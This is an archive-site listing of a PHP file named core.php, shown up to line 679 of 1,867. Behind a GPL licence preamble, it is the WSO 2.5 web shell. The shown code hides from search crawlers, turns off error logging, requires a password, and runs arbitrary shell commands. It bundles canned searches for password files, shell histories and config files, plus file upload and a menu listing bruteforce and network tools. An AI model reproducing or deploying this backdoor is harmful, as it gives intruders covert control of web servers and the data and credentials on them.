home *** CD-ROM | disk | FTP | other *** search
/ cemaftp.lntecc.com / cemaftp.lntecc.com.tar / cemaftp.lntecc.com / core.php < prev    next >
PHP Script  |  2014-01-21  |  84KB  |  1,867 lines

  1. <?php
  2. /******************************************************************
  3.  GNU GENERAL PUBLIC LICENSE
  4.                        Version 3, 29 June 2007
  5.  
  6.  Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
  7.  Everyone is permitted to copy and distribute verbatim copies
  8.  of this license document, but changing it is not allowed.
  9.  
  10.                             Preamble
  11.  
  12.   The GNU General Public License is a free, copyleft license for
  13. software and other kinds of works.
  14.  
  15.   The licenses for most software and other practical works are designed
  16. to take away your freedom to share and change the works.  By contrast,
  17. the GNU General Public License is intended to guarantee your freedom to
  18. share and change all versions of a program--to make sure it remains free
  19. software for all its users.  We, the Free Software Foundation, use the
  20. GNU General Public License for most of our software; it applies also to
  21. any other work released this way by its authors.  You can apply it to
  22. your programs, too.
  23.  
  24.   When we speak of free software, we are referring to freedom, not
  25. price.  Our General Public Licenses are designed to make sure that you
  26. have the freedom to distribute copies of free software (and charge for
  27. them if you wish), that you receive source code or can get it if you
  28. want it, that you can change the software or use pieces of it in new
  29. free programs, and that you know you can do these things.
  30.  
  31.   To protect your rights, we need to prevent others from denying you
  32. these rights or asking you to surrender the rights.  Therefore, you have
  33. certain responsibilities if you distribute copies of the software, or if
  34. you modify it: responsibilities to respect the freedom of others.
  35.  
  36.   For example, if you distribute copies of such a program, whether
  37. gratis or for a fee, you must pass on to the recipients the same
  38. freedoms that you received.  You must make sure that they, too, receive
  39. or can get the source code.  And you must show them these terms so they
  40. know their rights.
  41.  
  42.   Developers that use the GNU GPL protect your rights with two steps:
  43. (1) assert copyright on the software, and (2) offer you this License
  44. giving you legal permission to copy, distribute and/or modify it.
  45.  
  46.   For the developers' and authors' protection, the GPL clearly explains
  47. that there is no warranty for this free software.  For both users' and
  48. authors' sake, the GPL requires that modified versions be marked as
  49. changed, so that their problems will not be attributed erroneously to
  50. authors of previous versions.
  51.  
  52.   Some devices are designed to deny users access to install or run
  53. modified versions of the software inside them, although the manufacturer
  54. can do so.  This is fundamentally incompatible with the aim of
  55. protecting users' freedom to change the software.  The systematic
  56. pattern of such abuse occurs in the area of products for individuals to
  57. use, which is precisely where it is most unacceptable.  Therefore, we
  58. have designed this version of the GPL to prohibit the practice for those
  59. products.  If such problems arise substantially in other domains, we
  60. stand ready to extend this provision to those domains in future versions
  61. of the GPL, as needed to protect the freedom of users.
  62.  
  63.   Finally, every program is threatened constantly by software patents.
  64. States should not allow patents to restrict development and use of
  65. software on general-purpose computers, but in those that do, we wish to
  66. avoid the special danger that patents applied to a free program could
  67. make it effectively proprietary.  To prevent this, the GPL assures that
  68. patents cannot be used to render the program non-free.
  69.  
  70.   The precise terms and conditions for copying, distribution and
  71. modification follow.
  72.  
  73.                        TERMS AND CONDITIONS
  74.  
  75.   0. Definitions.
  76.  
  77.   "This License" refers to version 3 of the GNU General Public License.
  78.  
  79.   "Copyright" also means copyright-like laws that apply to other kinds of
  80. works, such as semiconductor masks.
  81.  
  82.   "The Program" refers to any copyrightable work licensed under this
  83. License.  Each licensee is addressed as "you".  "Licensees" and
  84. "recipients" may be individuals or organizations.
  85.  
  86.   To "modify" a work means to copy from or adapt all or part of the work
  87. in a fashion requiring copyright permission, other than the making of an
  88. exact copy.  The resulting work is called a "modified version" of the
  89. earlier work or a work "based on" the earlier work.
  90.  
  91.   A "covered work" means either the unmodified Program or a work based
  92. on the Program.
  93.  
  94.   To "propagate" a work means to do anything with it that, without
  95. permission, would make you directly or secondarily liable for
  96. infringement under applicable copyright law, except executing it on a
  97. computer or modifying a private copy.  Propagation includes copying,
  98. distribution (with or without modification), making available to the
  99. public, and in some countries other activities as well.
  100.  
  101.   To "convey" a work means any kind of propagation that enables other
  102. parties to make or receive copies.  Mere interaction with a user through
  103. a computer network, with no transfer of a copy, is not conveying.
  104.  
  105.   An interactive user interface displays "Appropriate Legal Notices"
  106. to the extent that it includes a convenient and prominently visible
  107. feature that (1) displays an appropriate copyright notice, and (2)
  108. tells the user that there is no warranty for the work (except to the
  109. extent that warranties are provided), that licensees may convey the
  110. work under this License, and how to view a copy of this License.  If
  111. the interface presents a list of user commands or options, such as a
  112. menu, a prominent item in the list meets this criterion.
  113.  
  114.   1. Source Code.
  115.  
  116.   The "source code" for a work means the preferred form of the work
  117. for making modifications to it.  "Object code" means any non-source
  118. form of a work.
  119.  
  120.   A "Standard Interface" means an interface that either is an official
  121. standard defined by a recognized standards body, or, in the case of
  122. interfaces specified for a particular programming language, one that
  123. is widely used among developers working in that language.
  124.  
  125.   The "System Libraries" of an executable work include anything, other
  126. than the work as a whole, that (a) is included in the normal form of
  127. packaging a Major Component, but which is not part of that Major
  128. Component, and (b) serves only to enable use of the work with that
  129. Major Component, or to implement a Standard Interface for which an
  130. implementation is available to the public in source code form.  A
  131. "Major Component", in this context, means a major essential component
  132. (kernel, window system, and so on) of the specific operating system
  133. (if any) on which the executable work runs, or a compiler used to
  134. produce the work, or an object code interpreter used to run it.
  135.  
  136.   The "Corresponding Source" for a work in object code form means all
  137. the source code needed to generate, install, and (for an executable
  138. work) run the object code and to modify the work, including scripts to
  139. control those activities.  However, it does not include the work's
  140. System Libraries, or general-purpose tools or generally available free
  141. programs which are used unmodified in performing those activities but
  142. which are not part of the work.  For example, Corresponding Source
  143. includes interface definition files associated with source files for
  144. the work, and the source code for shared libraries and dynamically
  145. linked subprograms that the work is specifically designed to require,
  146. such as by intimate data communication or control flow between those
  147. subprograms and other parts of the work.
  148.  
  149.   The Corresponding Source need not include anything that users
  150. can regenerate automatically from other parts of the Corresponding
  151. Source.
  152.  
  153.   The Corresponding Source for a work in source code form is that
  154. same work.
  155.  
  156.   2. Basic Permissions.
  157.  
  158.   All rights granted under this License are granted for the term of
  159. copyright on the Program, and are irrevocable provided the stated
  160. conditions are met.  This License explicitly affirms your unlimited
  161. permission to run the unmodified Program.  The output from running a
  162. covered work is covered by this License only if the output, given its
  163. content, constitutes a covered work.  This License acknowledges your
  164. rights of fair use or other equivalent, as provided by copyright law.
  165.  
  166.   You may make, run and propagate covered works that you do not
  167. convey, without conditions so long as your license otherwise remains
  168. in force.  You may convey covered works to others for the sole purpose
  169. of having them make modifications exclusively for you, or provide you
  170. with facilities for running those works, provided that you comply with
  171. the terms of this License in conveying all material for which you do
  172. not control copyright.  Those thus making or running the covered works
  173. for you must do so exclusively on your behalf, under your direction
  174. and control, on terms that prohibit them from making any copies of
  175. your copyrighted material outside their relationship with you.
  176.  
  177.   Conveying under any other circumstances is permitted solely under
  178. the conditions stated below.  Sublicensing is not allowed; section 10
  179. makes it unnecessary.
  180.  
  181.   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
  182.  
  183.   No covered work shall be deemed part of an effective technological
  184. measure under any applicable law fulfilling obligations under article
  185. 11 of the WIPO copyright treaty adopted on 20 December 1996, or
  186. similar laws prohibiting or restricting circumvention of such
  187. measures.
  188.  
  189.   When you convey a covered work, you waive any legal power to forbid
  190. circumvention of technological measures to the extent such circumvention
  191. is effected by exercising rights under this License with respect to
  192. the covered work, and you disclaim any intention to limit operation or
  193. modification of the work as a means of enforcing, against the work's
  194. users, your or third parties' legal rights to forbid circumvention of
  195. technological measures.
  196.  
  197.   4. Conveying Verbatim Copies.
  198.  
  199.   You may convey verbatim copies of the Program's source code as you
  200. receive it, in any medium, provided that you conspicuously and
  201. appropriately publish on each copy an appropriate copyright notice;
  202. keep intact all notices stating that this License and any
  203. non-permissive terms added in accord with section 7 apply to the code;
  204. keep intact all notices of the absence of any warranty; and give all
  205. recipients a copy of this License along with the Program.
  206.  
  207.   You may charge any price or no price for each copy that you convey,
  208. and you may offer support or warranty protection for a fee.
  209.  
  210.   5. Conveying Modified Source Versions.
  211.  
  212.   You may convey a work based on the Program, or the modifications to
  213. produce it from the Program, in the form of source code under the
  214. terms of section 4, provided that you also meet all of these conditions:
  215.  
  216.     a) The work must carry prominent notices stating that you modified
  217.     it, and giving a relevant date.
  218.  
  219.     b) The work must carry prominent notices stating that it is
  220.     released under this License and any conditions added under section
  221.     7.  This requirement modifies the requirement in section 4 to
  222.     "keep intact all notices".
  223.  
  224.     c) You must license the entire work, as a whole, under this
  225.     License to anyone who comes into possession of a copy.  This
  226.     License will therefore apply, along with any applicable section 7
  227.     additional terms, to the whole of the work, and all its parts,
  228.     regardless of how they are packaged.  This License gives no
  229.     permission to license the work in any other way, but it does not
  230.     invalidate such permission if you have separately received it.
  231.  
  232.     d) If the work has interactive user interfaces, each must display
  233.     Appropriate Legal Notices; however, if the Program has interactive
  234.     interfaces that do not display Appropriate Legal Notices, your
  235.     work need not make them do so.
  236.  
  237.   A compilation of a covered work with other separate and independent
  238. works, which are not by their nature extensions of the covered work,
  239. and which are not combined with it such as to form a larger program,
  240. in or on a volume of a storage or distribution medium, is called an
  241. "aggregate" if the compilation and its resulting copyright are not
  242. used to limit the access or legal rights of the compilation's users
  243. beyond what the individual works permit.  Inclusion of a covered work
  244. in an aggregate does not cause this License to apply to the other
  245. parts of the aggregate.
  246.  
  247.   6. Conveying Non-Source Forms.
  248.  
  249.   You may convey a covered work in object code form under the terms
  250. of sections 4 and 5, provided that you also convey the
  251. machine-readable Corresponding Source under the terms of this License,
  252. in one of these ways:
  253.  
  254.     a) Convey the object code in, or embodied in, a physical product
  255.     (including a physical distribution medium), accompanied by the
  256.     Corresponding Source fixed on a durable physical medium
  257.     customarily used for software interchange.
  258.  
  259.     b) Convey the object code in, or embodied in, a physical product
  260.     (including a physical distribution medium), accompanied by a
  261.     written offer, valid for at least three years and valid for as
  262.     long as you offer spare parts or customer support for that product
  263.     model, to give anyone who possesses the object code either (1) a
  264.     copy of the Corresponding Source for all the software in the
  265.     product that is covered by this License, on a durable physical
  266.     medium customarily used for software interchange, for a price no
  267.     more than your reasonable cost of physically performing this
  268.     conveying of source, or (2) access to copy the
  269.     Corresponding Source from a network server at no charge.
  270.  
  271.     c) Convey individual copies of the object code with a copy of the
  272.     written offer to provide the Corresponding Source.  This
  273.     alternative is allowed only occasionally and noncommercially, and
  274.     only if you received the object code with such an offer, in accord
  275.     with subsection 6b.
  276.  
  277.     d) Convey the object code by offering access from a designated
  278.     place (gratis or for a charge), and offer equivalent access to the
  279.     Corresponding Source in the same way through the same place at no
  280.     further charge.  You need not require recipients to copy the
  281.     Corresponding Source along with the object code.  If the place to
  282.     copy the object code is a network server, the Corresponding Source
  283.     may be on a different server (operated by you or a third party)
  284.     that supports equivalent copying facilities, provided you maintain
  285.     clear directions next to the object code saying where to find the
  286.     Corresponding Source.  Regardless of what server hosts the
  287.     Corresponding Source, you remain obligated to ensure that it is
  288.     available for as long as needed to satisfy these requirements.
  289.  
  290.     e) Convey the object code using peer-to-peer transmission, provided
  291.     you inform other peers where the object code and Corresponding
  292.     Source of the work are being offered to the general public at no
  293.     charge under subsection 6d.
  294.  
  295.   A separable portion of the object code, whose source code is excluded
  296. from the Corresponding Source as a System Library, need not be
  297. included in conveying the object code work.
  298.  
  299.   A "User Product" is either (1) a "consumer product", which means any
  300. tangible personal property which is normally used for personal, family,
  301. or household purposes, or (2) anything designed or sold for incorporation
  302. into a dwelling.  In determining whether a product is a consumer product,
  303. doubtful cases shall be resolved in favor of coverage.  For a particular
  304. product received by a particular user, "normally used" refers to a
  305. typical or common use of that class of product, regardless of the status
  306. of the particular user or of the way in which the particular user
  307. actually uses, or expects or is expected to use, the product.  A product
  308. is a consumer product regardless of whether the product has substantial
  309. commercial, industrial or non-consumer uses, unless such uses represent
  310. the only significant mode of use of the product.
  311.  
  312.   "Installation Information" for a User Product means any methods,
  313. procedures, authorization keys, or other information required to install
  314. and execute modified versions of a covered work in that User Product from
  315. a modified version of its Corresponding Source.  The information must
  316. suffice to ensure that the continued functioning of the modified object
  317. code is in no case prevented or interfered with solely because
  318. modification has been made.
  319.  
  320.   If you convey an object code work under this section in, or with, or
  321. specifically for use in, a User Product, and the conveying occurs as
  322. part of a transaction in which the right of possession and use of the
  323. User Product is transferred to the recipient in perpetuity or for a
  324. fixed term (regardless of how the transaction is characterized), the
  325. Corresponding Source conveyed under this section must be accompanied
  326. by the Installation Information.  But this requirement does not apply
  327. if neither you nor any third party retains the ability to install
  328. modified object code on the User Product (for example, the work has
  329. been installed in ROM).
  330.  
  331.   The requirement to provide Installation Information does not include a
  332. requirement to continue to provide support service, warranty, or updates
  333. for a work that has been modified or installed by the recipient, or for
  334. the User Product in which it has been modified or installed.  Access to a
  335. network may be denied when the modification itself materially and
  336. adversely affects the operation of the network or violates the rules and
  337. protocols for communication across the network.
  338.  
  339.   Corresponding Source conveyed, and Installation Information provided,
  340. in accord with this section must be in a format that is publicly
  341. documented (and with an implementation available to the public in
  342. source code form), and must require no special password or key for
  343. unpacking, reading or copying.
  344. ******************************************************************/
  345.  
  346. $auth_pass = "8ea5993df7988dfa167da64b931d7cdf";
  347. $color = "#df5";
  348. $default_action = 'FilesMan';
  349. $default_use_ajax = true;
  350. $default_charset = 'Windows-1251';
  351.  
  352. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  353.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  354.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  355.         header('HTTP/1.0 404 Not Found');
  356.         exit;
  357.     }
  358. }
  359.  
  360. @ini_set('error_log',NULL);
  361. @ini_set('log_errors',0);
  362. @ini_set('max_execution_time',0);
  363. //@set_time_limit(0);
  364. @set_magic_quotes_runtime(0);
  365. @define('WSO_VERSION', '2.5');
  366.  
  367. if(get_magic_quotes_gpc()) {
  368.     function WSOstripslashes($array) {
  369.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  370.     }
  371.     $_POST = WSOstripslashes($_POST);
  372.     $_COOKIE = WSOstripslashes($_COOKIE);
  373. }
  374.  
  375. function wsoLogin() {
  376.     die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  377. }
  378.  
  379. function WSOsetcookie($k, $v) {
  380.     $_COOKIE[$k] = $v;
  381.     setcookie($k, $v);
  382. }
  383.  
  384. if(!empty($auth_pass)) {
  385.     if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  386.         WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  387.  
  388.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  389.         wsoLogin();
  390. }
  391.  
  392. if(strtolower(substr(PHP_OS,0,3)) == "win")
  393.     $os = 'win';
  394. else
  395.     $os = 'nix';
  396.  
  397. $safe_mode = @ini_get('safe_mode');
  398. if(!$safe_mode)
  399.     error_reporting(0);
  400.  
  401. $disable_functions = @ini_get('disable_functions');
  402. $home_cwd = @getcwd();
  403. if(isset($_POST['c']))
  404.     @chdir($_POST['c']);
  405. $cwd = @getcwd();
  406. if($os == 'win') {
  407.     $home_cwd = str_replace("\\", "/", $home_cwd);
  408.     $cwd = str_replace("\\", "/", $cwd);
  409. }
  410. if($cwd[strlen($cwd)-1] != '/')
  411.     $cwd .= '/';
  412.  
  413. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  414.     $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  415.  
  416. if($os == 'win')
  417.     $aliases = array(
  418.         "List Directory" => "dir",
  419.         "Find index.php in current dir" => "dir /s /w /b index.php",
  420.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  421.         "Show active connections" => "netstat -an",
  422.         "Show running services" => "net start",
  423.         "User accounts" => "net user",
  424.         "Show computers" => "net view",
  425.         "ARP Table" => "arp -a",
  426.         "IP Configuration" => "ipconfig /all"
  427.     );
  428. else
  429.     $aliases = array(
  430.           "List dir" => "ls -lha",
  431.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  432.           "show opened ports" => "netstat -an | grep -i listen",
  433.         "process status" => "ps aux",
  434.         "Find" => "",
  435.           "find all suid files" => "find / -type f -perm -04000 -ls",
  436.           "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  437.           "find all sgid files" => "find / -type f -perm -02000 -ls",
  438.           "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  439.           "find config.inc.php files" => "find / -type f -name config.inc.php",
  440.           "find config* files" => "find / -type f -name \"config*\"",
  441.           "find config* files in current dir" => "find . -type f -name \"config*\"",
  442.           "find all writable folders and files" => "find / -perm -2 -ls",
  443.           "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  444.           "find all service.pwd files" => "find / -type f -name service.pwd",
  445.           "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  446.           "find all .htpasswd files" => "find / -type f -name .htpasswd",
  447.           "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  448.           "find all .bash_history files" => "find / -type f -name .bash_history",
  449.           "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  450.           "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  451.           "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  452.         "Locate" => "",
  453.           "locate httpd.conf files" => "locate httpd.conf",
  454.         "locate vhosts.conf files" => "locate vhosts.conf",
  455.         "locate proftpd.conf files" => "locate proftpd.conf",
  456.         "locate psybnc.conf files" => "locate psybnc.conf",
  457.         "locate my.conf files" => "locate my.conf",
  458.         "locate admin.php files" =>"locate admin.php",
  459.         "locate cfg.php files" => "locate cfg.php",
  460.         "locate conf.php files" => "locate conf.php",
  461.         "locate config.dat files" => "locate config.dat",
  462.         "locate config.php files" => "locate config.php",
  463.         "locate config.inc files" => "locate config.inc",
  464.         "locate config.inc.php" => "locate config.inc.php",
  465.         "locate config.default.php files" => "locate config.default.php",
  466.         "locate config* files " => "locate config",
  467.         "locate .conf files"=>"locate '.conf'",
  468.         "locate .pwd files" => "locate '.pwd'",
  469.         "locate .sql files" => "locate '.sql'",
  470.         "locate .htpasswd files" => "locate '.htpasswd'",
  471.         "locate .bash_history files" => "locate '.bash_history'",
  472.         "locate .mysql_history files" => "locate '.mysql_history'",
  473.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  474.         "locate backup files" => "locate backup",
  475.         "locate dump files" => "locate dump",
  476.         "locate priv files" => "locate priv"
  477.     );
  478.  
  479. function wsoHeader() {
  480.     if(empty($_POST['charset']))
  481.         $_POST['charset'] = $GLOBALS['default_charset'];
  482.     global $color;
  483.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  484. <style>
  485. body{background-color:#444;color:#e1e1e1;}
  486. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  487. table.info{ color:#fff;background-color:#222; }
  488. span,h1,a{ color: $color !important; }
  489. span{ font-weight: bolder; }
  490. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  491. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  492. a{ text-decoration:none; }
  493. a:hover{ text-decoration:underline; }
  494. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  495. .bigarea{ width:100%;height:300px; }
  496. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  497. form{ margin:0px; }
  498. #toolsTbl{ text-align:center; }
  499. .toolsInp{ width: 300px }
  500. .main th{text-align:left;background-color:#5e5e5e;}
  501. .main tr:hover{background-color:#5e5e5e}
  502. .l1{background-color:#444}
  503. .l2{background-color:#333}
  504. pre{font-family:Courier,Monospace;}
  505. </style>
  506. <script>
  507.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  508.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  509.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  510.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  511.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  512.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  513.     var d = document;
  514.     function set(a,c,p1,p2,p3,charset) {
  515.         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  516.         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  517.         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  518.         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  519.         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  520.         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  521.     }
  522.     function g(a,c,p1,p2,p3,charset) {
  523.         set(a,c,p1,p2,p3,charset);
  524.         d.mf.submit();
  525.     }
  526.     function a(a,c,p1,p2,p3,charset) {
  527.         set(a,c,p1,p2,p3,charset);
  528.         var params = 'ajax=true';
  529.         for(i=0;i<d.mf.elements.length;i++)
  530.             params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  531.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  532.     }
  533.     function sr(url, params) {
  534.         if (window.XMLHttpRequest)
  535.             req = new XMLHttpRequest();
  536.         else if (window.ActiveXObject)
  537.             req = new ActiveXObject('Microsoft.XMLHTTP');
  538.         if (req) {
  539.             req.onreadystatechange = processReqChange;
  540.             req.open('POST', url, true);
  541.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  542.             req.send(params);
  543.         }
  544.     }
  545.     function processReqChange() {
  546.         if( (req.readyState == 4) )
  547.             if(req.status == 200) {
  548.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  549.                 var arr=reg.exec(req.responseText);
  550.                 eval(arr[2].substr(0, arr[1]));
  551.             } else alert('Request error!');
  552.     }
  553. </script>
  554. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  555. <form method=post name=mf style='display:none;'>
  556. <input type=hidden name=a>
  557. <input type=hidden name=c>
  558. <input type=hidden name=p1>
  559. <input type=hidden name=p2>
  560. <input type=hidden name=p3>
  561. <input type=hidden name=charset>
  562. </form>";
  563.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  564.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  565.     $totalSpace = $totalSpace?$totalSpace:1;
  566.     $release = @php_uname('r');
  567.     $kernel = @php_uname('s');
  568.     $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  569.     if(strpos('Linux', $kernel) !== false)
  570.         $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  571.     else
  572.         $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  573.     if(!function_exists('posix_getegid')) {
  574.         $user = @get_current_user();
  575.         $uid = @getmyuid();
  576.         $gid = @getmygid();
  577.         $group = "?";
  578.     } else {
  579.         $uid = @posix_getpwuid(posix_geteuid());
  580.         $gid = @posix_getgrgid(posix_getegid());
  581.         $user = $uid['name'];
  582.         $uid = $uid['uid'];
  583.         $group = $gid['name'];
  584.         $gid = $gid['gid'];
  585.     }
  586.  
  587.     $cwd_links = '';
  588.     $path = explode("/", $GLOBALS['cwd']);
  589.     $n=count($path);
  590.     for($i=0; $i<$n-1; $i++) {
  591.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  592.         for($j=0; $j<=$i; $j++)
  593.             $cwd_links .= $path[$j].'/';
  594.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  595.     }
  596.  
  597.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  598.     $opt_charsets = '';
  599.     foreach($charsets as $item)
  600.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  601.  
  602.     $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  603.     if(!empty($GLOBALS['auth_pass']))
  604.         $m['Logout'] = 'Logout';
  605.     $m['Self remove'] = 'SelfRemove';
  606.     $menu = '';
  607.     foreach($m as $k => $v)
  608.         $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  609.  
  610.     $drives = "";
  611.     if($GLOBALS['os'] == 'win') {
  612.         foreach(range('c','z') as $drive)
  613.         if(is_dir($drive.':\\'))
  614.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  615.     }
  616.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  617.        . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  618.        . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  619.        . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  620.        . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  621. }
  622.  
  623. function wsoFooter() {
  624.     $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  625.     echo "
  626. </div>
  627. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  628.     <tr>
  629.         <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  630.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  631.     </tr><tr>
  632.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  633.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  634.     </tr><tr>
  635.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  636.         <td><form method='post' ENCTYPE='multipart/form-data'>
  637.         <input type=hidden name=a value='FilesMAn'>
  638.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  639.         <input type=hidden name=p1 value='uploadFile'>
  640.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  641.         <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
  642.     </tr></table></div></body></html>";
  643. }
  644.  
  645. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  646.     function posix_getpwuid($p) {return false;} }
  647. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  648.     function posix_getgrgid($p) {return false;} }
  649.  
  650. function wsoEx($in) {
  651.     $out = '';
  652.     if (function_exists('exec')) {
  653.         @exec($in,$out);
  654.         $out = @join("\n",$out);
  655.     } elseif (function_exists('passthru')) {
  656.         ob_start();
  657.         @passthru($in);
  658.         $out = ob_get_clean();
  659.     } elseif (function_exists('system')) {
  660.         ob_start();
  661.         @system($in);
  662.         $out = ob_get_clean();
  663.     } elseif (function_exists('shell_exec')) {
  664.         $out = shell_exec($in);
  665.     } elseif (is_resource($f = @popen($in,"r"))) {
  666.         $out = "";
  667.         while(!@feof($f))
  668.             $out .= fread($f,1024);
  669.         pclose($f);
  670.     }
  671.     return $out;
  672. }
  673.  
  674. function wsoViewSize($s) {
  675.     if (is_int($s))
  676.         $s = sprintf("%u", $s);
  677.     
  678.     if($s >= 1073741824)
  679.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
